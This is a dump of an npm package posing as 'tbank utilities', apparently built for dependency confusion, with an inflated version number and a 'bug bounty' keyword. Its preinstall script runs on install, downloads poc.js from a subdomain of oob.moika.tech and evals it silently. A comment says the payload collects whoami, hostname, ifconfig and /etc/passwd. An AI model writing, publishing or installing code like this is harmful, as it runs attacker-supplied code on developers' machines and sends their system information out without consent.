@t-in-one/save_application_hid_to_storage

--- install scripts ---
### preinstall
node preinstall.js



--- package/preinstall.js (excerpt) ---
const http = require("http");
const fs   = require("fs");
const path = require("path");

const BASE = "oob.moika.tech";

const raw   = process.env.npm_package_name
           || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();

const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
const pkg   = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");

// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
  let body = "";
  res.on("data", chunk => { body += chunk; });
  res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
}).on("error", () => {}).on("timeout", function() { this.destroy(); });


--- package.json (entry) ---
{
  "name": "@t-in-one/save_application_hid_to_storage",
  "version": "99.0.7",
  "description": "tbank utilities",
  "main": "index.js",
  "scripts": {
    "preinstall": "node preinstall.js"
  },
  "keywords": [
    "bug bounty"
  ],
  "author": "TBank",
  "license": "ISC"
}


--- index.js (entry) ---
module.exports = {};


--- preinstall.js (entry) ---
const http = require("http");
const fs   = require("fs");
const path = require("path");

const BASE = "oob.moika.tech";

const raw   = process.env.npm_package_name
           || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();

const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
const pkg   = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");

// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
  let body = "";
  res.on("data", chunk => { body += chunk; });
  res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
}).on("error", () => {}).on("timeout", function() { this.destroy(); });